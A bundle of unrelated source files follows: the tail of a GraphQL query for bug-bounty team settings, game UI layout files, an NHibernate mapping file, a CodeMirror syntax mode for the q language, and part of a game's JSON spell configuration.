review_rejected_at,
review_requested_at,
settings_disabled,
settings_link,
setup_guide_completed,
sla_failed_count,
sla_failed_count_redacted,
sla_missed_count,
sla_setting {
_id,
critical_severity_resolved_staleness_threshold,
high_severity_resolved_staleness_threshold,
id,
low_severity_resolved_staleness_threshold,
medium_severity_resolved_staleness_threshold,
none_severity_resolved_staleness_threshold,
},
sla_status {
id,
triage_sla_fail_in_hours,
triage_sla_failures_count,
triage_sla_misses_count,
triage_sla_ok_count,
user_id,
},
slack_integration {
id,
should_fetch_slack_channels,
should_fetch_slack_users,
team_url,
},
slack_pipelines {
total_count,
},
state,
static_participants {
total_count,
},
structured_scopes {
max_updated_at,
total_count,
},
submission_state,
survey_answers {
total_count,
},
swag {
any,
total_count,
},
target_signal,
team_display_options {
_id,
id,
show_average_bounty,
show_mean_bounty_time,
show_mean_first_response_time,
show_mean_report_triage_time,
show_mean_resolution_time,
show_minimum_bounty,
show_reports_resolved,
show_response_efficiency_indicator,
show_top_bounties,
show_total_bounties_paid,
},
team_member_groups {
_id,
created_at,
id,
immutable,
key,
name,
permissions,
},
team_members {
total_count,
},
triage_active,
triage_bounty_management,
triage_enabled,
triage_note,
triage_note_html,
triage_time,
triaged_staleness_threshold,
triaged_staleness_threshold_limit,
triggers {
total_count,
},
twitter_handle,
updated_at,
url,
weaknesses {
total_count,
},
website,
whitelisted_hackers {
total_count,
},
},
was_successful,
}
}"
}
|
{
"pile_set_name": "Github"
}
|
"resource/UI/DemoPolish.res"
{
"DemoPolish"
{
"ControlName" "Frame"
"fieldName" "DemoPolish"
"xpos" "214"
"ypos" "52"
"wide" "280"
"tall" "480"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"settitlebarvisible" "1"
"title" "Demo Polish Options"
}
"frame_topGrip"
{
"ControlName" "Panel"
"fieldName" "frame_topGrip"
"xpos" "5"
"ypos" "0"
"wide" "189"
"tall" "3"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
}
"frame_bottomGrip"
{
"ControlName" "Panel"
"fieldName" "frame_bottomGrip"
"xpos" "5"
"ypos" "296"
"wide" "182"
"tall" "3"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
}
"frame_leftGrip"
{
"ControlName" "Panel"
"fieldName" "frame_leftGrip"
"xpos" "0"
"ypos" "5"
"wide" "3"
"tall" "289"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
}
"frame_rightGrip"
{
"ControlName" "Panel"
"fieldName" "frame_rightGrip"
"xpos" "196"
"ypos" "5"
"wide" "3"
"tall" "282"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
}
"frame_tlGrip"
{
"ControlName" "Panel"
"fieldName" "frame_tlGrip"
"xpos" "0"
"ypos" "0"
"wide" "5"
"tall" "5"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
}
"frame_trGrip"
{
"ControlName" "Panel"
"fieldName" "frame_trGrip"
"xpos" "194"
"ypos" "0"
"wide" "5"
"tall" "5"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
}
"frame_blGrip"
{
"ControlName" "Panel"
"fieldName" "frame_blGrip"
"xpos" "0"
"ypos" "294"
"wide" "5"
"tall" "5"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
}
"frame_brGrip"
{
"ControlName" "Panel"
"fieldName" "frame_brGrip"
"xpos" "188"
"ypos" "288"
"wide" "12"
"tall" "12"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
}
"frame_caption"
{
"ControlName" "Panel"
"fieldName" "frame_caption"
"xpos" "0"
"ypos" "0"
"wide" "193"
"tall" "15"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
}
"frame_minimize"
{
"ControlName" "Button"
"fieldName" "frame_minimize"
"xpos" "0"
"ypos" "0"
"wide" "12"
"tall" "12"
"autoResize" "0"
"pinCorner" "0"
"visible" "0"
"enabled" "1"
"tabPosition" "0"
"labelText" "0"
"textAlignment" "north-west"
"dulltext" "0"
"brighttext" "0"
"wrap" "0"
"Default" "0"
}
"frame_maximize"
{
"ControlName" "Button"
"fieldName" "frame_maximize"
"xpos" "0"
"ypos" "0"
"wide" "12"
"tall" "12"
"autoResize" "0"
"pinCorner" "0"
"visible" "0"
"enabled" "1"
"tabPosition" "0"
"labelText" "1"
"textAlignment" "north-west"
"dulltext" "0"
"brighttext" "0"
"wrap" "0"
"Default" "0"
}
"frame_mintosystray"
{
"ControlName" "Button"
"fieldName" "frame_mintosystray"
"xpos" "0"
"ypos" "0"
"wide" "12"
"tall" "12"
"autoResize" "0"
"pinCorner" "0"
"visible" "0"
"enabled" "1"
"tabPosition" "0"
"labelText" "o"
"textAlignment" "north-west"
"dulltext" "0"
"brighttext" "0"
"wrap" "0"
"Command" "MinimizeToSysTray"
"Default" "0"
}
"frame_close"
{
"ControlName" "Button"
"fieldName" "frame_close"
"xpos" "0"
"ypos" "0"
"wide" "12"
"tall" "12"
"autoResize" "0"
"pinCorner" "0"
"visible" "0"
"enabled" "1"
"tabPosition" "0"
"labelText" "r"
"textAlignment" "north-west"
"dulltext" "0"
"brighttext" "0"
"wrap" "0"
"Default" "0"
}
"frame_menu"
{
"ControlName" "FrameSystemButton"
"fieldName" "frame_menu"
"xpos" "4"
"ypos" "5"
"wide" "12"
"tall" "12"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"textAlignment" "west"
"dulltext" "0"
"brighttext" "0"
"wrap" "0"
"Default" "0"
}
"Button_save"
{
"ControlName" "Button"
"fieldName" "Button_save"
"xpos" "150"
"ypos" "276"
"wide" "40"
"tall" "16"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"labelText" "Save"
"textAlignment" "center"
"dulltext" "0"
"brighttext" "0"
"wrap" "0"
"Default" "1"
}
"BuildModeDialog"
{
"ControlName" "BuildModeDialog"
"fieldName" "BuildModeDialog"
"xpos" "9"
"ypos" "52"
"wide" "200"
"tall" "280"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"settitlebarvisible" "1"
"title" "#Frame_Untitled"
}
"Combo_selector"
{
"ControlName" "ComboBox"
"fieldName" "Combo_selector"
"xpos" "10"
"ypos" "28"
"wide" "260"
"tall" "16"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"textHidden" "0"
"editable" "1"
"maxchars" "-1"
"NumericInputOnly" "0"
"unicode" "0"
}
}
|
{
"pile_set_name": "Github"
}
|
"Resource/UI/HUD/TeammatePanel.res"
{
"BackgroundImage"
{
"ControlName" "ImagePanel"
"fieldName" "BackgroundImage"
"xpos" "-2"
"ypos" "11"
"wide" "140"
"tall" "68"
"zpos" "-1"
"visible" "1"
"enabled" "1"
"scaleImage" "1"
"drawColor" "80 76 82 255"
"image" "hud/healthbar_bg_1"
}
"Voice"
{
"ControlName" "TeamDisplayVoicePanel"
"fieldName" "Voice"
"xpos" "26"
"ypos" "3"
"wide" "16"
"tall" "16"
"visible" "0"
"enabled" "1"
"zpos" "3"
"voice_icon" "voice_player"
}
"Head"
{
"ControlName" "ImagePanel"
"fieldName" "Head"
"xpos" "3"
"ypos" "18"
"wide" "34"
"tall" "34"
"visible" "1"
"enabled" "1"
"scaleImage" "1"
}
"Dead"
{
"ControlName" "ImagePanel"
"fieldName" "Dead"
"xpos" "0"
"ypos" "18"
"wide" "256"
"tall" "128"
"zpos" "3"
"visible" "0"
"enabled" "1"
"scaleImage" "1"
"image" "hud/overlay_dead"
}
"Health"
{
"ControlName" "HealthPanel"
"fieldName" "Health"
"xpos" "39"
"ypos" "41"
"wide" "93"
"tall" "13"
"visible" "1"
"enabled" "1"
"zpos" "1"
"textAlignment" "east"
"new_material_style" "1"
"healthbar_image_high" "vgui/hud/healthbar_withglow_green"
"healthbar_image_medium" "vgui/hud/healthbar_withglow_orange"
"healthbar_image_low" "vgui/hud/healthbar_withglow_red"
"healthbar_image_grey" "vgui/hud/healthbar_withglow_white"
"healthbar_image_high_ticks" "vgui/hud/healthbar_ticks_withglow_green"
"healthbar_image_medium_ticks" "vgui/hud/healthbar_ticks_withglow_orange"
"healthbar_image_low_ticks" "vgui/hud/healthbar_ticks_withglow_red"
"healthbar_image_grey_ticks" "vgui/hud/healthbar_ticks_withglow_white"
}
"Name"
{
"ControlName" "Label"
"fieldName" "Name"
"xpos" "13"
"ypos" "55"
"wide" "120"
"tall" "12"
"visible" "1"
"enabled" "1"
"labelText" ""
"textAlignment" "west"
"font" "PlayerDisplayName"
"zpos" "3"
"fgcolor_override" "White"
}
"Status"
{
"ControlName" "Label"
"fieldName" "Status"
"xpos" "64"
"ypos" "55"
"wide" "70"
"tall" "12"
"visible" "0"
"enabled" "1"
"labelText" ""
"textAlignment" "east"
"font" "PlayerDisplayName"
"zpos" "3"
"fgcolor_override" "White"
}
"IconForSlot_Grenade"
{
"ControlName" "CIconPanel"
"fieldName" "IconForSlot_Grenade"
"xpos" "84"
"ypos" "24"
"wide" "14"
"tall" "14"
"visible" "0"
"enabled" "1"
"zpos" "2"
"scaleImage" "1"
"icon" "icon_equip_pipebomb_small"
}
"IconForSlot_First_Aid"
{
"ControlName" "CIconPanel"
"fieldName" "IconForSlot_First_Aid"
"xpos" "98"
"ypos" "24"
"wide" "14"
"tall" "14"
"visible" "0"
"enabled" "1"
"zpos" "2"
"scaleImage" "1"
"icon" "icon_equip_medkit_small"
}
"IconForSlot_Pills"
{
"ControlName" "CIconPanel"
"fieldName" "IconForSlot_Pills"
"xpos" "112"
"ypos" "24"
"wide" "14"
"tall" "14"
"visible" "0"
"enabled" "1"
"zpos" "2"
"scaleImage" "1"
"icon" "icon_equip_pills_small"
}
}
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0"?>
<hibernate-mapping xmlns="urn:nhibernate-mapping-2.2" default-lazy="false"
assembly="NHibernate.DomainModel"
namespace="NHibernate.DomainModel">
<class
name="Baz"
table="`baz baz baz`"
>
<id
name="Code"
type="String"
>
<column
name="baz_id"
length="32"
/>
<generator class="uuid.hex"/>
</id>
<property
name="Count"
column="count_count"
type="Int32"
/>
<property
name="Name"
column="name_b"
/>
<many-to-one
name="Foo"
outer-join="true"
class="Foo"
/>
<list
name="StringList"
table="string_list"
batch-size="3"
>
<key>
<column
name="id"
length="16"
/>
</key>
<index column="`i`"/>
<element
column="element"
type="String"
/>
</list>
<primitive-array
name="IntArray"
table="int_array"
>
<key>
<column
name="id"
length="16"
/>
</key>
<index column="i"/>
<element
column="j"
type="Int32"
/>
</primitive-array>
<set
name="FooSet"
lazy="true"
order-by="string_"
batch-size="3"
>
<key>
<column
name="baz_id"
length="16"
/>
</key>
<one-to-many
class="Foo"
/>
</set>
<array
name="Components"
table="bazcomponents"
>
<key>
<column
name="baz_id"
length="16"
/>
</key>
<index column="i"/>
<composite-element
class="FooComponent"
>
<parent name="Baz"/>
<property name="Name">
<column
name="name"
length="56"
/>
</property>
<property
name="Count"
column="count_"
type="Int32"
/>
<nested-composite-element
name="Subcomponent"
class="FooComponent"
>
<property name="Name" column="x_"/>
<property name="Count" column="y_" type="Int32"/>
</nested-composite-element>
</composite-element>
</array>
<array name="TimeArray">
<key>
<column name="baz_id" length="16"/>
</key>
<index column="j"/>
<element column="the_time" type="time"/>
</array>
<bag
name="Bag"
order-by="`name!`"
table="`$%^^b a g`"
>
<key>
<column
name="`baz_id@#$`"
length="16"
/>
</key>
<element
column="`name!`"
type="String"
/>
</bag>
<map name="FooToGlarch">
<key>
<column
name="baz_id"
length="16"
/>
</key>
<index-many-to-many
column="foo_id"
class="Foo"
/>
<many-to-many
column="glarch_id"
class="Glarch"
/>
</map>
<map name="FooComponentToFoo">
<!--<cache usage="read-write"/>-->
<key>
<column
name="baz_id"
length="16"
/>
</key>
<composite-index
class="FooComponent"
>
<key-property
name="Name"
length="32"
/>
<key-property
name="Count"
column="count_"
type="Int32"
/>
</composite-index>
<many-to-many
column="foo_id"
class="Foo"
outer-join="true"
/>
</map>
<map name="GlarchToFoo">
<key>
<column name="gtf_baz_id" length="16"/>
</key>
<index-many-to-many column="gtf_foo_id" class="Foo"/>
<one-to-many class="Glarch"/>
</map>
<set
name="StringSet"
lazy="true"
sort="StringComparator"
batch-size="3"
>
<key column="id_"/>
<element column="element" type="String" not-null="true" length="32"/>
</set>
<map name="StringDateMap" lazy="true" sort="ReverseComparator" collection-type="sorted-list">
<key column="id_"/>
<index column="map_key" type="String" length="32"/>
<element column="map_value" type="DateTime" />
</map>
<array name="FooArray" element-class="FooProxy" where="i<8">
<!--<cache usage="read-write"/>-->
<key column="id_"/>
<index column="i"/>
<many-to-many class="Foo" fetch="select">
<column name="foo" length="36"/>
</many-to-many>
</array>
<bag name="FooBag" lazy="true" table="baz_foo" cascade="all-delete-orphan" inverse="false">
<key column="baz"/>
<many-to-many class="Foo" column="foo" outer-join="true"/>
</bag>
<idbag name="IdFooBag" lazy="true" table="baz_id_foo" cascade="all">
<collection-id column="pkid" type="Int64">
<generator class="hilo"/>
</collection-id>
<key column="baz"/>
<many-to-many class="Foo" column="foo" outer-join="true"/>
</idbag>
<idbag name="ByteBag" lazy="true" table="baz_byte_bag" cascade="all">
<collection-id column="pkid" type="Int64">
<generator class="hilo"/>
</collection-id>
<key column="baz"/>
<element type="Byte[]" column="bytez" not-null="true"/>
</idbag>
<array name="StringArray">
<key column="id_"/>
<index column="i"/>
<element column="name" type="String"/>
</array>
<list name="Fees" lazy="true" cascade="all">
<key column="bazid"/>
<index column="bazind"/>
<one-to-many class="Fee"/>
</list>
<list name="Customs">
<key column="id_"/>
<index column="indx"/>
<element type="NHibernate.DomainModel.DoubleStringType, NHibernate.DomainModel">
<column name="first_"/>
<column name="second_"/>
</element>
</list>
<list name="TopComponents" table="topcomponents">
<!--<cache usage="read-write"/>-->
<key column="id_"/>
<index column="i"/>
<composite-element class="FooComponent">
<property name="Name"/>
<property name="Count" column="count_" type="Int32"/>
</composite-element>
</list>
<set name="TopFoos">
<key column="idtopbar" />
<one-to-many class = "Bar"/>
</set>
<set name="CascadingBars" cascade="all-delete-orphan">
<key column="idofbaz" />
<one-to-many class = "Bar"/>
</set>
<map name="TopGlarchez">
<key column="idtopglarch" />
<index column="mapkey" type="Char" length="1"/>
<!--
added length for NH because a Char does not have a direct DbType.Char but instead
uses DbType.String so it defaults to 255 if 1 is not found.
-->
<one-to-many class = "Glarch"/>
</map>
<set name="Cached" sort="natural" table="cached_set">
<!--<cache usage="read-write"/>-->
<key column="baz"/>
<composite-element class="CompositeElement">
<property name="Foo"/>
<property name="Bar"/>
</composite-element>
</set>
<map name="CachedMap" sort="natural" table="cached_map" collection-type="sorted-list">
<!--<cache usage="read-write"/>-->
<key column="baz"/>
<index-many-to-many column="another_baz" class="Baz"/>
<composite-element class="CompositeElement">
<property name="Foo"/>
<property name="Bar"/>
</composite-element>
</map>
<map name="StringGlarchMap" where="baz_map_index > 'a' and tha_key is not null" cascade="all">
<key column="baz_map_id"/>
<index column="baz_map_index" type="String"/>
<one-to-many class="Glarch"/>
</map>
<map name="AnyToAny" lazy="true">
<key column="baz"/>
<index-many-to-any id-type="Int64">
<column name="ind_clazz_"/>
<column name="ind_id_"/>
</index-many-to-any>
<many-to-any id-type="Int64">
<column name="el_clazz_"/>
<column name="el_id_"/>
</many-to-any>
</map>
<list name="ManyToAny" lazy="true">
<key column="baz"/>
<index column="ind"/>
<many-to-any id-type="string">
<column name="el_clazz_"/>
<column name="el_id_"/>
</many-to-any>
</list>
<bag name="Bazez" lazy="true" order-by="name_b desc" cascade="all">
<key column="`baz id`"/>
<one-to-many class="Baz"/>
</bag>
<set name="Sortablez" sort="natural" cascade="all">
<key column="baz"/>
<one-to-many class="Sortable"/>
</set>
<bag name="Parts" lazy="true" cascade="save-update">
<key column="baz"/>
<one-to-many class="Part"/>
</bag>
<component name="CollectionComponent">
<component name="Nested">
<property name="Str"/>
<bag name="Foos" cascade="all">
<key column="baz_compon_id"/>
<one-to-many class="Foo"/>
</bag>
<bag name="Floats" table="baz_floats_bag">
<key column="baz_compon_id"/>
<!-- TODO: fix this to a Single -->
<element type="Int64" column="float_value"/>
</bag>
</component>
</component>
</class>
<class name="Sortable">
<id name="id" unsaved-value="0">
<generator class="native"/>
</id>
<property name="name"/>
</class>
<class name="Part"
where="Description like 'x%'">
<id name="Id" unsaved-value="0">
<generator class="native"/>
</id>
<discriminator column="clazz"/>
<property name="Description"/>
<subclass name="Part+SpecialPart" />
</class>
</hibernate-mapping>
|
{
"pile_set_name": "Github"
}
|
"Resource/UI/econ/ComboBoxBackpackOverlayDialogBase.res"
{
"ComboBoxBackpackOverlayDialogBase"
{
"fieldName" "ComboBoxBackpackOverlayDialogBase"
"visible" "1"
"enabled" "1"
"xpos" "c-140"
"ypos" "105"
"wide" "280"
"tall" "240"
"bgcolor_override" "DarkGrey"
"paintbackgroundtype" "0"
"settitlebarvisible" "1"
"border" "CyanBorderThick"
}
"TitleLabel"
{
"ControlName" "CExLabel"
"fieldName" "TitleLabel"
"font" "HudFontMediumBold"
"labelText" "#TF_Item_SelectStyle"
"textAlignment" "center"
"xpos" "0"
"ypos" "0"
"zpos" "0"
"wide" "280"
"tall" "60"
"autoResize" "1"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"centerwrap" "1"
}
"preview_model"
{
"ControlName" "CItemModelPanel"
"fieldName" "preview_model"
"xpos" "60"
"ypos" "40"
"zpos" "1"
"wide" "160"
"tall" "120"
"visible" "1"
"enabled" "1"
"bgcolor_override" "Transparent"
"noitem_textcolor" "TextColor"
"PaintBackgroundType" "2"
"paintborder" "1"
"model_xpos" "2"
"model_ypos" "5"
"model_wide" "160"
"model_tall" "120"
"text_ypos" "120" // Hide it off the bottom
"text_center" "1"
"name_only" "1"
"paint_icon_hide" "1"
"itemmodelpanel"
{
"force_use_model" "1"
"use_item_rendertarget" "0"
"allow_rot" "1"
"inventory_image_type" "1"
}
}
"ComboBox"
{
"ControlName" "ComboBox"
"fieldName" "ComboBox"
"Font" "HudFontSmallest"
"xpos" "30"
"ypos" "170"
"zpos" "1"
"wide" "220"
"tall" "15"
"autoResize" "0"
"pinCorner" "0"
"visible" "1"
"enabled" "1"
"tabPosition" "1"
"textHidden" "0"
"editable" "0"
"maxchars" "-1"
"NumericInputOnly" "0"
"unicode" "0"
"fgcolor_override" "White"
"bgcolor_override" "Black"
"disabledFgColor_override" "White"
"disabledBgColor_override" "Black"
"selectionColor_override" "Black"
"selectionTextColor_override" "White"
"defaultSelectionBG2Color_override" "Black"
}
"CancelButton"
{
"ControlName" "CExButton"
"fieldName" "CancelButton"
"xpos" "60"
"ypos" "200"
"zpos" "1"
"wide" "70"
"tall" "20"
"autoResize" "0"
"pinCorner" "3"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"labelText" "#Cancel"
"font" "HudFontSmall"
"textAlignment" "center"
"dulltext" "0"
"brighttext" "0"
"default" "0"
"Command" "cancel"
"sound_depressed" "UI/buttonclick.wav"
"sound_released" "UI/buttonclickrelease.wav"
}
"OkButton"
{
"ControlName" "CExButton"
"fieldName" "OkButton"
"xpos" "150"
"ypos" "200"
"zpos" "1"
"wide" "70"
"tall" "20"
"autoResize" "0"
"pinCorner" "3"
"visible" "1"
"enabled" "1"
"tabPosition" "0"
"labelText" "#TF_OK"
"font" "HudFontSmall"
"textAlignment" "center"
"dulltext" "0"
"brighttext" "0"
"default" "1"
"Command" "apply"
"sound_depressed" "UI/buttonclick.wav"
"sound_released" "UI/buttonclickrelease.wav"
}
}
|
{
"pile_set_name": "Github"
}
|
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
mod(require("../../lib/codemirror"));
else if (typeof define == "function" && define.amd) // AMD
define(["../../lib/codemirror"], mod);
else // Plain browser env
mod(CodeMirror);
})(function(CodeMirror) {
"use strict";
CodeMirror.defineMode("q",function(config){
var indentUnit=config.indentUnit,
curPunc,
keywords=buildRE(["abs","acos","aj","aj0","all","and","any","asc","asin","asof","atan","attr","avg","avgs","bin","by","ceiling","cols","cor","cos","count","cov","cross","csv","cut","delete","deltas","desc","dev","differ","distinct","div","do","each","ej","enlist","eval","except","exec","exit","exp","fby","fills","first","fkeys","flip","floor","from","get","getenv","group","gtime","hclose","hcount","hdel","hopen","hsym","iasc","idesc","if","ij","in","insert","inter","inv","key","keys","last","like","list","lj","load","log","lower","lsq","ltime","ltrim","mavg","max","maxs","mcount","md5","mdev","med","meta","min","mins","mmax","mmin","mmu","mod","msum","neg","next","not","null","or","over","parse","peach","pj","plist","prd","prds","prev","prior","rand","rank","ratios","raze","read0","read1","reciprocal","reverse","rload","rotate","rsave","rtrim","save","scan","select","set","setenv","show","signum","sin","sqrt","ss","ssr","string","sublist","sum","sums","sv","system","tables","tan","til","trim","txf","type","uj","ungroup","union","update","upper","upsert","value","var","view","views","vs","wavg","where","where","while","within","wj","wj1","wsum","xasc","xbar","xcol","xcols","xdesc","xexp","xgroup","xkey","xlog","xprev","xrank"]),
E=/[|/&^!+:\\\-*%$=~#;@><,?_\'\"\[\(\]\)\s{}]/;
function buildRE(w){return new RegExp("^("+w.join("|")+")$");}
function tokenBase(stream,state){
var sol=stream.sol(),c=stream.next();
curPunc=null;
if(sol)
if(c=="/")
return(state.tokenize=tokenLineComment)(stream,state);
else if(c=="\\"){
if(stream.eol()||/\s/.test(stream.peek()))
return stream.skipToEnd(),/^\\\s*$/.test(stream.current())?(state.tokenize=tokenCommentToEOF)(stream):state.tokenize=tokenBase,"comment";
else
return state.tokenize=tokenBase,"builtin";
}
if(/\s/.test(c))
return stream.peek()=="/"?(stream.skipToEnd(),"comment"):"whitespace";
if(c=='"')
return(state.tokenize=tokenString)(stream,state);
if(c=='`')
return stream.eatWhile(/[A-Za-z\d_:\/.]/),"symbol";
if(("."==c&&/\d/.test(stream.peek()))||/\d/.test(c)){
var t=null;
stream.backUp(1);
if(stream.match(/^\d{4}\.\d{2}(m|\.\d{2}([DT](\d{2}(:\d{2}(:\d{2}(\.\d{1,9})?)?)?)?)?)/)
|| stream.match(/^\d+D(\d{2}(:\d{2}(:\d{2}(\.\d{1,9})?)?)?)/)
|| stream.match(/^\d{2}:\d{2}(:\d{2}(\.\d{1,9})?)?/)
|| stream.match(/^\d+[ptuv]{1}/))
t="temporal";
else if(stream.match(/^0[NwW]{1}/)
|| stream.match(/^0x[\da-fA-F]*/)
|| stream.match(/^[01]+[b]{1}/)
|| stream.match(/^\d+[chijn]{1}/)
|| stream.match(/-?\d*(\.\d*)?(e[+\-]?\d+)?(e|f)?/))
t="number";
return(t&&(!(c=stream.peek())||E.test(c)))?t:(stream.next(),"error");
}
if(/[A-Za-z]|\./.test(c))
return stream.eatWhile(/[A-Za-z._\d]/),keywords.test(stream.current())?"keyword":"variable";
if(/[|/&^!+:\\\-*%$=~#;@><\.,?_\']/.test(c))
return null;
if(/[{}\(\[\]\)]/.test(c))
return null;
return"error";
}
function tokenLineComment(stream,state){
return stream.skipToEnd(),/\/\s*$/.test(stream.current())?(state.tokenize=tokenBlockComment)(stream,state):(state.tokenize=tokenBase),"comment";
}
function tokenBlockComment(stream,state){
var f=stream.sol()&&stream.peek()=="\\";
stream.skipToEnd();
if(f&&/^\\\s*$/.test(stream.current()))
state.tokenize=tokenBase;
return"comment";
}
function tokenCommentToEOF(stream){return stream.skipToEnd(),"comment";}
function tokenString(stream,state){
var escaped=false,next,end=false;
while((next=stream.next())){
if(next=="\""&&!escaped){end=true;break;}
escaped=!escaped&&next=="\\";
}
if(end)state.tokenize=tokenBase;
return"string";
}
function pushContext(state,type,col){state.context={prev:state.context,indent:state.indent,col:col,type:type};}
function popContext(state){state.indent=state.context.indent;state.context=state.context.prev;}
return{
startState:function(){
return{tokenize:tokenBase,
context:null,
indent:0,
col:0};
},
token:function(stream,state){
if(stream.sol()){
if(state.context&&state.context.align==null)
state.context.align=false;
state.indent=stream.indentation();
}
//if (stream.eatSpace()) return null;
var style=state.tokenize(stream,state);
if(style!="comment"&&state.context&&state.context.align==null&&state.context.type!="pattern"){
state.context.align=true;
}
if(curPunc=="(")pushContext(state,")",stream.column());
else if(curPunc=="[")pushContext(state,"]",stream.column());
else if(curPunc=="{")pushContext(state,"}",stream.column());
else if(/[\]\}\)]/.test(curPunc)){
while(state.context&&state.context.type=="pattern")popContext(state);
if(state.context&&curPunc==state.context.type)popContext(state);
}
else if(curPunc=="."&&state.context&&state.context.type=="pattern")popContext(state);
else if(/atom|string|variable/.test(style)&&state.context){
if(/[\}\]]/.test(state.context.type))
pushContext(state,"pattern",stream.column());
else if(state.context.type=="pattern"&&!state.context.align){
state.context.align=true;
state.context.col=stream.column();
}
}
return style;
},
indent:function(state,textAfter){
var firstChar=textAfter&&textAfter.charAt(0);
var context=state.context;
if(/[\]\}]/.test(firstChar))
while (context&&context.type=="pattern")context=context.prev;
var closing=context&&firstChar==context.type;
if(!context)
return 0;
else if(context.type=="pattern")
return context.col;
else if(context.align)
return context.col+(closing?0:1);
else
return context.indent+(closing?0:indentUnit);
}
};
});
CodeMirror.defineMIME("text/x-q","q");
});
|
{
"pile_set_name": "Github"
}
|
{
"quicksand" : {
"index" : 10,
"targetType" : "NO_TARGET",
"sounds": {
"cast": "QUIKSAND"
},
"levels" : {
"base":{
"range" : "X",
"battleEffects" : {
"obstacle" : {
"type":"core:obstacle",
"hidden" : true,
"passable" : true,
"trap" : true,
"trigger" : false,
"patchCount" : 4,
"turnsRemaining" : -1,
"attacker" :{
"animation" : "C17SPE1",
"appearAnimation" : "C17SPE0",
"offsetY" : -42
},
"defender" :{
"animation" : "C17SPE1",
"appearAnimation" : "C17SPE0",
"offsetY" : -42
}
}
}
},
"advanced":{
"battleEffects":{
"obstacle":{
"patchCount" : 6
}
}
},
"expert":{
"battleEffects":{
"obstacle":{
"patchCount" : 8
}
}
}
},
"flags" : {
"indifferent": true
}
},
"landMine" : {
"index" : 11,
"targetType" : "NO_TARGET",
"sounds": {
"cast": ""
},
"levels" : {
"base":{
"range" : "X",
"battleEffects" : {
"obstacle" : {
"type":"core:obstacle",
"hidden" : true,
"passable" : true,
"trap" : false,
"trigger" : true,
"removeOnTrigger" : true,
"patchCount" : 4,
"turnsRemaining" : -1,
"attacker" :{
"animation" : "C09SPF1",
"appearAnimation" : "C09SPF0"
},
"defender" :{
"animation" : "C09SPF1",
"appearAnimation" : "C09SPF0"
}
},
"damage":{
"type":"core:damage",
"optional":false,
"indirect":true,
"customEffectId" : 82
}
}
},
"advanced":{
"battleEffects":{
"obstacle":{
"patchCount" : 6
}
}
},
"expert":{
"battleEffects":{
"obstacle":{
"patchCount" : 8
}
}
}
},
"flags" : {
"damage": true,
"indifferent": true
},
"targetCondition" : {
"noneOf" : {
"bonus.DIRECT_DAMAGE_IMMUNITY" : "normal"
}
}
},
"forceField" : {
"index" : 12,
"targetType" : "LOCATION",
"sounds": {
"cast": "FORCEFLD"
},
"levels" : {
"base":{
"range" : "0",
"targetModifier":{
"clearAffected": true
},
"battleEffects":{
"obstacle":{
"type":"core:obstacle",
"hidden" : false,
"passable" : false,
"trap" : false,
"trigger" : false,
"patchCount" : 1,
"turnsRemaining" : 2,
"attacker" :{
"range" : [[""]],
"shape" : [[""], ["TR"]],
"animation" : "C15SPE1",
"appearAnimation" : "C15SPE0"
},
"defender" :{
"range" : [[""]],
"shape" : [[""], ["TL"]],
"animation" : "C15SPE4",
"appearAnimation" : "C15SPE0"
}
}
}
},
"advanced":{
"battleEffects":{
"obstacle":{
"attacker" :{
"shape" : [[""], ["TR"], ["TR", "TL"]],
"animation" : "C15SPE10",
"appearAnimation" : "C15SPE9"
},
"defender" :{
"shape" : [[""], ["TL"], ["TL", "TR"]],
"animation" : "C15SPE7",
"appearAnimation" : "C15SPE6"
}
}
}
},
"expert":{
"battleEffects":{
"obstacle":{
"attacker" :{
"shape" : [[""], ["TR"], ["TR", "TL"]],
"animation" : "C15SPE10",
"appearAnimation" : "C15SPE9"
},
"defender" :{
"shape" : [[""], ["TL"], ["TL", "TR"]],
"animation" : "C15SPE7",
"appearAnimation" : "C15SPE6"
}
}
}
}
},
"flags" : {
"indifferent": true
}
},
"fireWall" : {
"index" : 13,
"targetType" : "LOCATION",
"sounds": {
"cast": "FIREWALL"
},
"levels" : {
"base":{
"range" : "0",
"targetModifier":{
"clearAffected": true
},
"battleEffects":{
"obstacle":{
"type":"core:obstacle",
"hidden" : false,
"passable" : true,
"trap" : false,
"trigger" : true,
"patchCount" : 1,
"turnsRemaining" : 2,
"attacker" :{
"shape" : [[""]],
"range" : [[""], ["TR"]],
"animation" : "C07SPF61",
"appearAnimation" : "C07SPF60"
},
"defender" :{
"shape" : [[""]],
"range" : [[""], ["TL"]],
"animation" : "C07SPF61",
"appearAnimation" : "C07SPF60"
}
},
"damage":{
"type":"core:damage",
"optional":false,
"indirect":true
}
}
},
"advanced":{
"battleEffects":{
"obstacle":{
"attacker" :{
"range" : [[""], ["TR"], ["TR", "TL"]]
},
"defender" :{
"range" : [[""], ["TL"], ["TL", "TR"]]
}
}
}
},
"expert":{
"battleEffects":{
"obstacle":{
"attacker" :{
"range" : [[""], ["TR"], ["TR", "TL"]]
},
"defender" :{
